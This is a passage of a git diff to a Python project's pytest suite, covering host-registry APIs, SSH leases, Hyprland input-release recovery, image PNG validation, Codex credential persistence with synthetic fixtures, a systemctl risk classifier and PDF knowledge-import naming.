def test_real_cooldown_still_enforced_on_fresh_boot(self, monkeypatch): - import time as _time - - clock = {"now": 10.0} - monkeypatch.setattr(_time, "monotonic", lambda: clock["now"]) - handler = GrafanaAlertHandler(auto_remediate=True, cooldown_seconds=300) - handler.add_rule(RemediationRule(id="r1", name_pattern="*", cooldown_seconds=300)) - handler._cooldowns["fb2:r1"] = 5.0 # remediated 5s after boot - alert = GrafanaAlert( - fingerprint="fb2", status="firing", alert_name="Anything", - labels={}, annotations={}, starts_at="", ends_at="", - generator_url="", silence_url="", dashboard_url="", panel_url="", - values={}, severity="unknown", instance="", summary="", - description="", - ) - assert handler.process_alerts([alert]) == [] # genuinely on cooldown - clock["now"] = 320.0 # past the window - assert len(handler.process_alerts([alert])) == 1 diff --git a/tests/test_health_shutdown.py b/tests/test_health_shutdown.py index f105fc2d6..74870df12 100644 --- a/tests/test_health_shutdown.py +++ b/tests/test_health_shutdown.py @@ -208,82 +208,6 @@ async def __call__(self): class TestStopIsolation: - async def test_start_owns_the_grafana_cleanup_sweep(self): - """L6: the stale-record sweep is actually scheduled by the lifecycle.""" - server = _bare_server() - await server.start() - try: - task = server._grafana_cleanup_task - assert task is not None and not task.done() - finally: - await server.stop() - assert server._grafana_cleanup_task is None - - async def test_start_is_idempotent_for_the_cleanup_sweep(self): - """A repeated start() must not leak a second sweep task.""" - server = _bare_server() - await server.start() - first = server._grafana_cleanup_task - server._start_grafana_cleanup() - try: - assert server._grafana_cleanup_task is first - finally: - await server.stop() - - async def test_stop_cancels_and_awaits_the_cleanup_sweep(self): - """A shutdown must not leave the sweep running behind it.""" - server = _bare_server() - await server.start() - task = server._grafana_cleanup_task - assert task is not None - await server.stop() - assert task.done() - - async def test_cleanup_sweep_prunes_stale_records(self, monkeypatch): - """The sweep calls the handler's cleanup on its interval.""" - server = _bare_server() - pruned: list[int] = [] - - def cleanup(): - pruned.append(1) - return 2 - - server.grafana_handler.cleanup_old_remediations = cleanup - # Drive the loop body directly rather than waiting a real interval. - monkeypatch.setattr("src.health.server.REMEDIATION_CLEANUP_INTERVAL_SECONDS", 0) - server._start_grafana_cleanup() - try: - for _ in range(50): - if pruned: - break - await asyncio.sleep(0.01) - finally: - await server.stop() - assert pruned # the production caller now exists - - async def test_cleanup_sweep_survives_a_handler_fault(self, monkeypatch): - """A raising handler must not kill the sweep loop.""" - server = _bare_server() - attempts: list[int] = [] - - def cleanup(): - attempts.append(1) - raise RuntimeError("handler boom") - - server.grafana_handler.cleanup_old_remediations = cleanup - monkeypatch.setattr("src.health.server.REMEDIATION_CLEANUP_INTERVAL_SECONDS", 0) - server._start_grafana_cleanup() - try: - for _ in range(60): - if len(attempts) >= 3: - break - await asyncio.sleep(0.01) - task = server._grafana_cleanup_task - assert task is not None and not task.done() - finally: - await server.stop() - assert len(attempts) >= 3 - async def test_runner_gets_bounded_shutdown_timeout(self): server = _bare_server() await server.start() diff --git a/tests/test_hosts_api.py b/tests/test_hosts_api.py index 2f47164e5..80d5b52a0 100644 --- a/tests/test_hosts_api.py +++ b/tests/test_hosts_api.py @@ -105,6 +105,93 @@ async def _persist_ok(changes): return None, False +@pytest.mark.parametrize("method,path", [ + ("post", "/api/hosts/settings"), + ("get", "/api/hosts/public-key"), + ("post", "/api/hosts/candidates"), + ("post", "/api/hosts/alpha/import-legacy"), + ("post", "/api/hosts/candidates/not-issued/test"), + ("post", "/api/hosts/candidates/not-issued/commit"), + ("post", "/api/hosts/alpha/enabled"), + ("get", "/api/hosts/alpha/references"), + ("post", "/api/hosts/alpha/force-revoke"), + ("delete", "/api/hosts/alpha"), +]) +async def test_missing_registry_refuses_every_host_control_route(tmp_path, method, path): + bot = _bot(tmp_path, with_registry=False) + async with await _client(bot) as client: + response = await getattr(client, method)(path, json={}) + assert response.status == 503 + assert (await response.json())["error"] == "host registry not available" + + +async def test_host_settings_invalid_json_never_persists(tmp_path, monkeypatch): + bot = _bot(tmp_path) + from unittest.mock import AsyncMock + persist = AsyncMock(side_effect=AssertionError("no persistence")) + monkeypatch.setattr(hosts_api.config_persistence, "persist_config_paths_locked", persist) + async with await _client(bot) as client: + response = await client.post("/api/hosts/settings", data="{") + assert response.status == 400 + assert (await response.json())["error"] == "invalid JSON" + persist.assert_not_awaited() + + +async def test_runtime_preparation_failure_does_not_publish_or_save(tmp_path, monkeypatch): + from unittest.mock import AsyncMock, Mock + bot = _bot(tmp_path) + generation = bot.host_registry.generation + persist = AsyncMock(side_effect=AssertionError("no persistence")) + monkeypatch.setattr(hosts_api.config_persistence, "persist_config_paths_locked", persist) + monkeypatch.setattr( + bot.host_registry, "stage", Mock(side_effect=RuntimeError("trust storage unavailable")), + ) + async with await _client(bot) as client: + response = await client.post("/api/hosts/alpha/enabled", json={"enabled": False}) + assert response.status == 500 + assert "runtime preparation failed" in (await response.json())["error"] + assert bot.config.tools.hosts["alpha"].enabled is True + assert bot.host_registry.generation == generation + persist.assert_not_awaited() + + +@pytest.mark.asyncio +async def test_connection_mismatch_cannot_invalidate_persisted_disable(monkeypatch, tmp_path): + bot = _bot(tmp_path) + saving, saved, scanned = asyncio.Event(), asyncio.Event(), asyncio.Event() + + async def persist(changes): + saving.set() + await saved.wait() + return None, False + + async def mismatch(*args, **kwargs): + scanned.set() + return 255, b"REMOTE HOST IDENTIFICATION HAS CHANGED" + + monkeypatch.setattr(hosts_api.config_persistence, "persist_config_paths_locked", persist) + monkeypatch.setattr(hosts_control, "_run_argv", mismatch) + async with await _client(bot) as client: + response = await client.post("/api/hosts/candidates", json={ + "alias": "alpha", **bot.config.tools.hosts["alpha"].model_dump(), + }) + candidate = (await response.json())["candidate_token"] + mutation = asyncio.create_task(client.post( + "/api/hosts/alpha/enabled", json={"enabled": False}, + )) + await saving.wait() + testing = asyncio.create_task(client.post(f"/api/hosts/candidates/{candidate}/test")) + await scanned.wait() + await asyncio.sleep(0) + assert not testing.done() + saved.set() + assert (await mutation).status == 200 + assert (await testing).status == 424 + assert bot.config.tools.hosts["alpha"].enabled is False + assert bot.host_registry.get("alpha").enabled is False + assert bot.host_registry.get("alpha").trust_state == "mismatch" + + def _candidate(alias: str, *, existing: ToolHost | None, token="candidate-1") -> HostCandidate: return HostCandidate( token=token, diff --git a/tests/test_hosts_consumer_edges.py b/tests/test_hosts_consumer_edges.py index d09cac114..e7a646dd5 100644 --- a/tests/test_hosts_consumer_edges.py +++ b/tests/test_hosts_consumer_edges.py @@ -61,14 +61,17 @@ async def test_post_file_reports_remote_binary_read_timeout(self) -> None: class TestSkillContextHostEdges: async def test_run_on_host_preserves_tool_executor_generation_lease(self) -> None: - executor = object.__new__(ToolExecutor) - executor._run_on_host = AsyncMock(return_value=("leased output", 0)) + from src.config.schema import ToolHost, ToolsConfig + + executor = ToolExecutor(ToolsConfig(hosts={"permitted": ToolHost(address="127.0.0.1")})) + executor.system_tools._exec_command = AsyncMock(return_value=(0, "leased output")) context = SkillContext(executor, "edge", requester_id="user-1") assert await context.run_on_host("permitted", "id") == "leased output" - executor._run_on_host.assert_awaited_once_with( - "permitted", "id", use_workspace=True, user_id="user-1" - ) + command = executor.system_tools._exec_command + assert command.await_count == 1 + assert command.call_args.args[:2] == ("127.0.0.1", "id") + assert command.call_args.kwargs["use_workspace"] is True async def test_run_on_host_falls_back_to_raw_executor_output(self) -> None: executor = SimpleNamespace(_run_on_host=AsyncMock(return_value="raw output")) @@ -187,9 +190,10 @@ async def test_close_host_reaps_timed_out_explicit_master(self, tmp_path) -> Non pool._masters["root@host"] = master with patch("asyncio.wait_for", side_effect=TimeoutError): - assert await pool.close_host("host", "root") is True + assert await pool.close_host("host", "root") is False master.terminate.assert_called_once() + assert pool._masters["root@host"] is master async def test_close_target_passes_host_generation_identity(self, tmp_path) -> None: pool = SSHConnectionPool(socket_dir=str(tmp_path)) diff --git a/tests/test_hosts_executor_leases.py b/tests/test_hosts_executor_leases.py index 1d2299fc9..df5bfbd16 100644 --- a/tests/test_hosts_executor_leases.py +++ b/tests/test_hosts_executor_leases.py @@ -13,6 +13,8 @@ from types import SimpleNamespace from unittest.mock import AsyncMock +import pytest + from src.config.schema import ToolHost, ToolsConfig from src.tools.executor import ToolExecutor, _user_id_ctx from src.tools.hosts import HostRegistry @@ -218,10 +220,8 @@ async def transport(address, command, ssh_user, **kwargs): async def fake_run_bundle(_checks, *, resolve_host, exec_command, **_kwargs): assert resolve_host("alpha") == ("alpha", "", "") assert resolve_host("absent") is None - assert await exec_command("absent", "true", "", timeout=3) == ( - 1, - "unknown host alias: absent", - ) + with pytest.raises(PermissionError, match="unknown host alias: absent"): + await exec_command("absent", "true", "", timeout=3) assert await exec_command("alpha", "true", "", timeout=3, use_workspace=True) == ( 0, "checked", diff --git a/tests/test_hybrid_search.py b/tests/test_hybrid_search.py index 7cf3d7fdc..396959284 100644 --- a/tests/test_hybrid_search.py +++ b/tests/test_hybrid_search.py @@ -10,6 +10,16 @@ from src.search.errors import SearchInvariantError from src.search.hybrid import reciprocal_rank_fusion + +def test_later_list_better_rank_supplies_payload_and_ties_keep_first(): + first = [{"doc_id": "other"}, {"doc_id": "shared", "content": "semantic"}] + second = [{"doc_id": "shared", "content": "exact keyword snippet"}] + fused = reciprocal_rank_fusion(first, second) + assert fused[0]["content"] == "exact keyword snippet" + assert fused[0]["rrf_score"] == round(1 / 62 + 1 / 61, 6) + tied = reciprocal_rank_fusion(second, [{"doc_id": "shared", "content": "later"}]) + assert tied[0]["content"] == "exact keyword snippet" + # --------------------------------------------------------------------------- # Basic merging # --------------------------------------------------------------------------- diff --git a/tests/test_hyprland_owned_release.py b/tests/test_hyprland_owned_release.py index 8288da42f..722d45f45 100644 --- a/tests/test_hyprland_owned_release.py +++ b/tests/test_hyprland_owned_release.py @@ -1,11 +1,12 @@ """Local ownership release is not a compositor or receiver acknowledgement.""" +import time from types import SimpleNamespace from unittest.mock import AsyncMock import pytest from src.computer.runtime.hyprland_guardian import HyprlandGuardian, owned_release_v1 -from src.computer.runtime.wayland_guardian import WaylandGuardian +from src.computer.runtime.wayland_guardian import WaylandGuardian, WaylandGuardianError def terminal(): @@ -40,6 +41,33 @@ def test_no_legacy_fallback(): assert not owned_release_v1(row, closed=True) +@pytest.mark.parametrize("fault", [None, "ledger", "sent", "proof", "closed"]) +async def test_preinput_rejection_restores_group_refresh_only_with_clean_ledger(monkeypatch, fault): + owner = HyprlandGuardian("/unused", 0) + owner._child = SimpleNamespace(returncode=None) + owner._ready = {"scope_lease_v1": True} + owner._scope_deadline = time.monotonic_ns() + 1_000_000_000 + receipt = {"event": "action_rejected", "reason": "invalid-command", + "input_was_sent": False, "release_sent": True, + "release_acknowledged": True, "receiver_release_verified": False, + "owned_release_v1": {"release_sent": True, "ledger_empty": True, + "resources_closed": False}} + if fault == "ledger": + receipt["owned_release_v1"]["ledger_empty"] = False + elif fault == "sent": + receipt["input_was_sent"] = True + elif fault == "proof": + receipt.pop("owned_release_v1") + elif fault == "closed": + receipt["owned_release_v1"]["resources_closed"] = True + monkeypatch.setattr(owner, "_send", AsyncMock()) + owner._events.put_nowait(receipt) + with pytest.raises(WaylandGuardianError): + await owner.act("K unsupported", scope_deadline_ns=owner._scope_deadline) + assert not owner._active + assert owner.application_group_refresh_ready is (fault is None) + + @pytest.mark.asyncio @pytest.mark.parametrize("reaped", [True, False]) async def test_close_local_proof_without_ack(monkeypatch, reaped): diff --git a/tests/test_hyprland_recovery_controller.py b/tests/test_hyprland_recovery_controller.py index 8d5dfe35e..a474c36c9 100644 --- a/tests/test_hyprland_recovery_controller.py +++ b/tests/test_hyprland_recovery_controller.py @@ -85,6 +85,58 @@ async def test_automatic_handoff_persists_command_and_successor_without_replay(r assert store.get_recovery_pending(grant.session_id) is None +@pytest.mark.parametrize("released", [True, False]) +@pytest.mark.parametrize("phase", ["unknown_release", "native_continuity_lost"]) +@pytest.mark.parametrize("assessment", [None, "operator_release_required", "fresh_target_required"]) +async def test_emergency_owned_release_resolves_only_released_input_on_reopen( + rig, tmp_path, released, phase, assessment): + from dataclasses import replace + from unittest.mock import AsyncMock + + controller, store, context, grant, live, _, _ = rig + grant = store.begin_hyprland_reconciliation( + grant, phase=phase, reason=phase, + old_grant={"generation": grant.generation, + "consent_generation": grant.consent_generation, + "task_hints": {"goal": "draw"}, "authorizes_input": False, + "recovery_command_id": "a" * 32}) + pending = store.get_recovery_pending(grant.session_id) + if assessment: + store.record_hyprland_recovery_assessment( + grant, state=assessment, released=assessment == "fresh_target_required", + resources_retired=assessment == "fresh_target_required") + prior = store._hyprland_recovery_record(grant.session_id) + live.backend.recover_owned_input = AsyncMock(return_value={ + "released": released, "input_revoked": True, "capture_revoked": True, + "release_ack": False, "receiver_release_verified": False, + "release_basis": "guardian_ledger_drained" if released else "unconfirmed"}) + result = await controller.operator_release_owned_input( + replace(context, surface="webui"), grant.session_id, grant.generation) + resolved = released and phase == "unknown_release" + assert result["state"] == ("paused" if resolved else "quarantined") + assert result["owned_input_recovery"]["released"] is released + assert result["owned_input_recovery"]["renewed_consent_required"] is True + assert result["generation"] == grant.generation + 1 + assert result["consent_generation"] == grant.consent_generation + 1 + assert store.get_recovery_pending(grant.session_id) == (None if resolved else pending) + assert live.revoked + reopened = ComputerStore(tmp_path / "db", tmp_path / "evidence") + try: + assert reopened.get_session(grant.session_id).state == result["state"] + assert reopened.get_recovery_pending(grant.session_id) == (None if resolved else pending) + if resolved: + record = reopened._hyprland_recovery_record(grant.session_id) + assert record["emergency_release_history"]["recovery_record"] == prior + assert record["emergency_release_history"]["pending_record"]["phase"] == phase + assert record["released"] is True and record["complete"] is False + assert record["receiver_release_verified"] is False + assert result["recovery"]["status"] == "operator_ledger_released" + assert "emergency_release_history" not in result["recovery"] + assert "native_owner" not in result["recovery"] + finally: + reopened.close() + + def test_owner_descriptor_rejects_unknown_schema_and_hides_private_values(rig): controller, store, _, grant, live, _, _ = rig controller._prepare_runtime(grant, live.backend) @@ -216,6 +268,36 @@ async def capture(*args, **kwargs): assert not live.revoked +async def test_clean_resume_rebinds_recovery_to_current_authorized_turn(rig, monkeypatch): + controller, store, context, grant, live, committed, _ = rig + from dataclasses import replace + + current_context = replace(context, turn_id="new-authorized-turn", surface="webui") + controller.authorize = lambda ctx: ctx.turn_id == current_context.turn_id + live.backend.pause = lambda: asyncio.sleep(0, result={"released": True}) + live.backend.resume = lambda **kwargs: asyncio.sleep(0) + + async def capture(*args, **kwargs): + assert controller._hyprland_contexts[grant.session_id] == current_context + return SimpleNamespace(modal=None), None + + monkeypatch.setattr(controller, "_capture", capture) + await controller._pause(grant.session_id) + paused = store.get_session(grant.session_id) + await controller.session(current_context, {"operation": "resume", + "session_id": grant.session_id, "generation": paused.generation}) + active = store.get_session(grant.session_id) + assert active.turn_id == current_context.turn_id + + async def recover(*, consent_generation, command_id): + return HyprlandRecoveryResult("ready_for_replan", binding(), evidence(), "test") + + live.backend.recover_native_authority = recover + await controller._quarantine_hyprland(active, live, phase="native_continuity_lost") + assert committed == [{"consent_generation": active.consent_generation + 1}] + assert store.get_session(grant.session_id).state == "active" + + @pytest.mark.asyncio async def test_resume_actual_identity_loss_enters_recovery(rig): controller, store, context, grant, live, committed, _ = rig diff --git a/tests/test_image_backends.py b/tests/test_image_backends.py index c93097bae..53775f11d 100644 --- a/tests/test_image_backends.py +++ b/tests/test_image_backends.py @@ -7,10 +7,12 @@ from __future__ import annotations import base64 +import io import json import aiohttp import pytest +from PIL import Image from src.config.schema import Config from src.llm.circuit_breaker import CircuitOpenError @@ -25,9 +27,9 @@ from src.tools.image.openai_backend import OpenAIImageBackend from src.tools.image.selector import ImageBackendSelector, image_tool_available -PNG_1X1 = base64.b64decode( - "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAC0lEQVR42mP8z8BQDwAEhQGAhKmMIQAAAABJRU5ErkJggg==" -) +_png_buffer = io.BytesIO() +Image.new("RGBA", (1, 1), (255, 0, 0, 255)).save(_png_buffer, format="PNG") +PNG_1X1 = _png_buffer.getvalue() PNG_1X1_B64 = base64.b64encode(PNG_1X1).decode() @@ -137,6 +139,8 @@ def _backend(pool, responses, **overrides): def test_png_dimensions_validates_magic_and_dimensions(): assert png_dimensions(PNG_1X1) == (1, 1) assert png_dimensions(b"not a png") is None + assert png_dimensions(PNG_1X1[:24]) is None + assert png_dimensions(PNG_1X1[:-12]) is None # missing IEND assert png_dimensions(PNG_1X1[:16] + b"\0\0\0\0" + PNG_1X1[20:]) is None @@ -205,6 +209,7 @@ async def iter_chunked(self, _size): [ _final_image_event("not-valid-base64"), _final_image_event(base64.b64encode(b"not a png").decode()), + _final_image_event(base64.b64encode(PNG_1X1[:24]).decode()), {"type": "response.completed"}, ], ) @@ -214,6 +219,16 @@ async def test_native_backend_rejects_malformed_output(event): await backend.generate(prompt="p") +async def test_terminal_response_truncated_png_is_rejected_without_account_retry(): + payload = base64.b64encode(PNG_1X1[:24]).decode() + event = {"type": "response.completed", "response": { + "output": [{"type": "image_generation_call", "result": payload}]}} + backend, _ = _backend(_FakePool(count=2), [_FakeResponse(200, (_sse(event),))]) + with pytest.raises(ImageRequestError, match="not a valid PNG"): + await backend.generate(prompt="p") + assert backend._session.posts == 1 + + async def test_native_backend_configuration_and_close(): backend, _ = _backend(_FakePool(count=0), []) assert not backend.is_configured() diff --git a/tests/test_independent_credential_review.py b/tests/test_independent_credential_review.py new file mode 100644 index 000000000..2eafc132b --- /dev/null +++ b/tests/test_independent_credential_review.py @@ -0,0 +1,86 @@ +"""Cold-start authorization regressions with synthetic accounts only.""" +import json +from types import SimpleNamespace +from unittest.mock import AsyncMock + +import pytest +from aiohttp import web + +from scripts.codex_login import _save_creds +from src.llm import codex_auth as ca +from src.web.api.codex_admin import register_codex_oauth + + +@pytest.mark.parametrize("publication", ["manual", "device_merge", "device_index"]) +@pytest.mark.parametrize("new_expiry", [5000, 9999999999]) +async def test_cold_restart_keeps_explicit_reauth_over_older_shadow( + tmp_path, monkeypatch, publication, new_expiry, +): + path = tmp_path / "canonical.json" + old = {"account_id": "fixture-A", "access_token": "fixture-old", + "refresh_token": "fixture-old-refresh", "expires_at": 9999999999} + new = {**old, "access_token": "fixture-new", "refresh_token": "fixture-new-refresh", + "expires_at": new_expiry} + path.write_text(json.dumps([old])) + ca.CodexAuthPool(str(path)) # Leave the prior login's shadow on disk. + if publication == "manual": + _save_creds(new, path) + else: + gateway = SimpleNamespace(reload_codex=AsyncMock()) + bot = SimpleNamespace(llm_gateway=gateway, config=SimpleNamespace( + openai_codex=SimpleNamespace(credentials_path=str(path)))) + routes = web.RouteTableDef() + register_codex_oauth(routes, bot) + handler = next(route.handler for route in routes if route.path == "/api/codex/device-poll") + body = {"device_auth_id": "fixture", "user_code": "fixture"} + if publication == "device_index": + body["save_index"] = 0 + monkeypatch.setattr(ca.CodexAuth, "poll_device_auth", AsyncMock(return_value=new)) + response = await handler(SimpleNamespace(json=AsyncMock(return_value=body))) + assert response.status == 200 + assert json.loads(path.read_text())[0]["access_token"] == new["access_token"] + restarted = ca.CodexAuthPool(str(path)) + assert restarted._accounts[0]._load()["access_token"] == new["access_token"] + assert json.loads(path.read_text())[0]["refresh_token"] == new["refresh_token"] + + +async def test_authorization_revision_survives_refresh_and_shadow_recovery(tmp_path, monkeypatch): + path = tmp_path / "canonical.json" + initial = {"account_id": "fixture-A", "access_token": "fixture-old", + "refresh_token": "fixture-old-refresh", "expires_at": 5000} + _save_creds(initial, path) + pool = ca.CodexAuthPool(str(path)) + before = path.read_text() + revision = json.loads(before)[0]["_authorization_revision"] + + class Response: + status = 200 + + async def __aenter__(self): + return self + + async def __aexit__(self, *args): + pass + + async def read(self): + return json.dumps({"access_token": "fixture-rotated", + "refresh_token": "fixture-next", "expires_in": 3600}).encode() + + class Session: + async def __aenter__(self): + return self + + async def __aexit__(self, *args): + pass + + def post(self, *args, **kwargs): + return Response() + + monkeypatch.setattr(ca.aiohttp, "ClientSession", lambda **kwargs: Session()) + assert await pool.force_refresh(0, "fixture-old") + assert json.loads(path.read_text())[0]["_authorization_revision"] == revision + # Simulate a canonical propagation failure after a successful shadow write. + path.write_text(before) + recovered = ca.CodexAuthPool(str(path)) + assert recovered._accounts[0]._load()["refresh_token"] == "fixture-next" + assert json.loads(path.read_text())[0]["_authorization_revision"] == revision diff --git a/tests/test_independent_governor_review.py b/tests/test_independent_governor_review.py new file mode 100644 index 000000000..aa0a59605 --- /dev/null +++ b/tests/test_independent_governor_review.py @@ -0,0 +1,23 @@ +"""Independent review probes; command strings never reach a real transport.""" +import pytest + +from src.tools.risk_classifier import CommandGovernor, RiskLevel, classify_command + + +@pytest.mark.parametrize("options", [ + "--now", "--no-reload", "--show-transaction", "-T", "--legend=false", + "--no-warn", "--failed", "--reverse", "--with-dependencies", + "-P ActiveState", "-s TERM", "--check-inhibitors=no", "-i", + "--image-policy=trusted", "--boot-loader-menu=10", "--boot-loader-entry=fixture", + "--what=cache", "--kill-value=1", "--drop-in=fixture", "--when=now", + "--read-only", "--mkdir", "--firmware-setup", +]) +def test_standard_systemctl_options_preserve_lifecycle_risk(options): + governor = CommandGovernor(host_overrides={"lab": "strict"}) + command = f"systemctl {options} restart example.service" + assert classify_command(command).level == RiskLevel.HIGH + assert not governor.check(command, host="lab").allowed + assert classify_command(f"systemctl {options} reload example.service").level == RiskLevel.MEDIUM + # Existing broad mkdir risk remains deliberately conservative. + expected_status = RiskLevel.MEDIUM if options == "--mkdir" else RiskLevel.LOW + assert classify_command(f"systemctl {options} status example.service").level == expected_status diff --git a/tests/test_knowledge_import.py b/tests/test_knowledge_import.py index 0b62d014c..7e6d6c42e 100644 --- a/tests/test_knowledge_import.py +++ b/tests/test_knowledge_import.py @@ -912,7 +912,7 @@ async def test_successful_pdf_import(self): r = await importer.import_pdf_url("https://example.com/test.pdf") assert r.status == "ok" assert r.chunks > 0 - assert r.source == "test.pdf" + assert r.source == "https://example.com/test.pdf" finally: _cleanup(store) @@ -977,7 +977,7 @@ async def test_source_from_url_path(self): with patch.dict("sys.modules", {"fitz": mock_fitz}), \ patch("src.tools.safe_fetch.safe_fetch", mock_session): r = await importer.import_pdf_url("https://example.com/path/to/manual.pdf") - assert r.source == "manual.pdf" + assert r.source == "https://example.com/path/to/manual.pdf" finally: _cleanup(store) @@ -996,7 +996,7 @@ async def test_multi_page_pdf(self): patch("src.tools.safe_fetch.safe_fetch", mock_session): r = await importer.import_pdf_url("https://example.com/multi.pdf") assert r.status == "ok" - content = store.get_source_content("multi.pdf") + content = store.get_source_content("https://example.com/multi.pdf") assert "Page 1" in content assert "Page 3" in content finally: diff --git a/tests/test_knowledge_pdf_legacy_compatibility.py b/tests/test_knowledge_pdf_legacy_compatibility.py new file mode 100644 index 000000000..db4fd25eb --- /dev/null +++ b/tests/test_knowledge_pdf_legacy_compatibility.py @@ -0,0 +1,227 @@ +"""#480/F6: real PDF importer/store compatibility with URL-less legacy sources. + +Only network transport and PyMuPDF are faked; DB, FTS, snapshots, dedup and +publication use the real code. Historical imports never retained the URL. +""" +import sys +from types import SimpleNamespace + +import pytest + +from src.knowledge.importer import BulkImporter +from src.knowledge.store import KnowledgeStore +from src.search.fts import FullTextIndex +from src.tools.safe_fetch import SafeFetchResponse + + +@pytest.fixture +def stores(tmp_path): + fts = FullTextIndex(str(tmp_path / "fts.db")) + store = KnowledgeStore(str(tmp_path / "knowledge.db"), fts_index=fts) + yield store, fts + store.close() + fts._conn.close() + + +@pytest.fixture +def pdfs(monkeypatch): + bodies = {} + documents = [] + + async def fetch(url, **kwargs): + return SafeFetchResponse(200, {}, bodies[url].encode(), "application/pdf", url, "") + + class Pdf: + page_count = 1 + + def __init__(self, stream): + self.text = stream.decode() + self.closed = False + + def __getitem__(self, index): + assert index == 0 + return SimpleNamespace(get_text=lambda: self.text) + + def close(self): + self.closed = True + + def open_pdf(*, stream, filetype): + assert filetype == "pdf" + doc = Pdf(stream) + documents.append(doc) + return doc + + monkeypatch.setattr("src.tools.safe_fetch.safe_fetch", fetch) + monkeypatch.setitem(sys.modules, "fitz", SimpleNamespace(open=open_pdf)) + yield bodies + assert all(doc.closed for doc in documents) + + +async def seed_legacy(store, url, text): + # This is exactly the historical default naming and extracted-content shape. + source = url.rsplit("/", 1)[-1] or url + content = f"## Page 1\n{text}" + assert (await store.ingest(content, source, uploader="bulk-import")).status == "stored" + return source, content + + +@pytest.mark.asyncio +@pytest.mark.parametrize("suffix", ["manual.pdf", "manual.pdf?revision=1", "manual.pdf#page=2"]) +async def test_same_url_unchanged_reuses_legacy_without_duplicate_or_version(stores, pdfs, suffix): + store, fts = stores + url = f"https://legacy.example/docs/{suffix}" + pdfs[url] = "Original legacy manual text" + legacy, content = await seed_legacy(store, url, pdfs[url]) + before_versions = store.get_versions(legacy) + before_rows = fts.get_knowledge_source_rows(legacy) + + result = await BulkImporter(store).import_pdf_url(url) + + assert result.source == legacy + assert result.status == "ok" + assert result.outcome == "unchanged" + assert result.chunks > 0 + assert "without assuming its original URL" in result.note + assert [entry["source"] for entry in store.list_sources()] == [legacy] + assert store.get_source_snapshot(legacy) == content + assert store.get_versions(legacy) == before_versions + assert fts.get_knowledge_source_rows(legacy) == before_rows + + +@pytest.mark.asyncio +@pytest.mark.parametrize("host", ["legacy.example", "unrelated.example"]) +async def test_changed_or_unrelated_basename_never_overwrites_or_duplicates(stores, pdfs, host): + store, fts = stores + legacy, content = await seed_legacy( + store, "https://legacy.example/manual.pdf", "Old manual body", + ) + url = f"https://{host}/manual.pdf" + pdfs[url] = "New independently fetched body" + versions = store.get_versions(legacy) + rows = fts.get_knowledge_source_rows(legacy) + + result = await BulkImporter(store).import_pdf_url(url) + + assert result.status == "error" + assert result.outcome == "conflict" + assert result.source == url + assert "original URL was not recorded" in result.error + assert "source='manual.pdf'" in result.error + assert f"source='{url}'" in result.error + assert store.get_source_snapshot(legacy) == content + assert store.get_source_snapshot(url) is None + assert store.get_versions(legacy) == versions + assert fts.get_knowledge_source_rows(legacy) == rows + + +@pytest.mark.asyncio +async def test_identical_unrelated_url_does_not_claim_legacy_ownership(stores, pdfs): + store, _ = stores + legacy, content = await seed_legacy( + store, "https://legacy.example/manual.pdf", "Shared public manual text", + ) + url = "https://unrelated.example/manual.pdf" + pdfs[url] = "Shared public manual text" + result = await BulkImporter(store).import_pdf_url(url) + assert result.outcome == "unchanged" + assert result.source == legacy + assert "without assuming its original URL" in result.note + assert store.get_source_snapshot(legacy) == content + # Identical text is not proof that this URL may replace future legacy text. + pdfs[url] = "Unrelated update that must not own the old document" + changed = await BulkImporter(store).import_pdf_url(url) + assert changed.outcome == "conflict" + assert store.get_source_snapshot(legacy) == content + + +@pytest.mark.asyncio +@pytest.mark.parametrize( + "damage", ["missing_snapshot", "stale_snapshot", "missing_fts", "case_only"], +) +async def test_hash_or_preview_alone_is_not_safe_legacy_compatibility(stores, pdfs, damage): + store, fts = stores + url = "https://legacy.example/manual.pdf" + pdfs[url] = "Legacy manual text" + legacy, _ = await seed_legacy(store, url, pdfs[url]) + if damage == "missing_snapshot": + store._conn.execute("DELETE FROM knowledge_versions WHERE source=?", (legacy,)) + store._conn.commit() + elif damage == "stale_snapshot": + store._conn.execute( + "UPDATE knowledge_versions SET content='unrelated stale text' WHERE source=?", + (legacy,), + ) + store._conn.commit() + elif damage == "missing_fts": + assert fts.replace_knowledge_source(legacy, []) + else: + pdfs[url] = "LEGACY MANUAL TEXT" + rows = store.get_source_chunks(legacy) + fts_rows = fts.get_knowledge_source_rows(legacy) + versions = store.get_versions(legacy) + + result = await BulkImporter(store).import_pdf_url(url) + + assert result.status == "error" + assert result.outcome == "conflict" + assert store.get_source_chunks(legacy) == rows + assert fts.get_knowledge_source_rows(legacy) == fts_rows + assert store.get_versions(legacy) == versions + assert store.get_source_snapshot(url) is None + + +@pytest.mark.asyncio +async def test_explicit_legacy_source_updates_with_history(stores, pdfs): + store, fts = stores + url = "https://legacy.example/manual.pdf" + legacy, old_content = await seed_legacy(store, url, "Original old manual") + pdfs[url] = "Replacement manual with new content" + result = await BulkImporter(store).import_pdf_url(url, source=legacy) + assert result.status == "ok" + assert result.source == legacy + assert result.outcome == "stored" + assert store.get_source_snapshot(legacy) != old_content + assert store.get_versions(legacy)[0]["action"] == "update" + assert store.get_versions(legacy)[0]["version"] == 2 + assert fts.get_knowledge_source_rows(legacy) + assert store.get_source_snapshot(url) is None + + +@pytest.mark.asyncio +async def test_explicit_full_url_imports_separately_and_then_defaults_update_it(stores, pdfs): + store, _ = stores + legacy, old_content = await seed_legacy( + store, "https://legacy.example/manual.pdf", "Original old manual", + ) + url = "https://unrelated.example/manual.pdf" + pdfs[url] = "New separate document" + importer = BulkImporter(store) + separate = await importer.import_pdf_url(url, source=url) + assert separate.status == "ok" + assert separate.source == url + pdfs[url] = "Later changed independent document" + updated = await importer.import_pdf_url(url) + assert updated.status == "ok" + assert updated.source == url + assert store.get_source_snapshot(url) == f"## Page 1\n{pdfs[url]}" + assert store.get_versions(url)[0]["action"] == "update" + assert store.get_source_snapshot(legacy) == old_content + + +@pytest.mark.asyncio +async def test_fresh_default_full_url_identity_preserves_hosts_paths_and_queries(stores, pdfs): + store, _ = stores + urls = [ + "https://first.example/a/manual.pdf?revision=1", + "https://first.example/b/manual.pdf?revision=1", + "https://second.example/a/manual.pdf?revision=1", + "https://first.example/a/manual.pdf?revision=2#page=3", + ] + for index, url in enumerate(urls): + pdfs[url] = f"Independent document {index}" + result = await BulkImporter(store).import_pdf_url(url) + assert result.status == "ok" + assert result.source == url.split("#", 1)[0] + assert {entry["source"] for entry in store.list_sources()} == { + url.split("#", 1)[0] for url in urls + } diff --git a/tests/test_knowledge_review_regressions.py b/tests/test_knowledge_review_regressions.py new 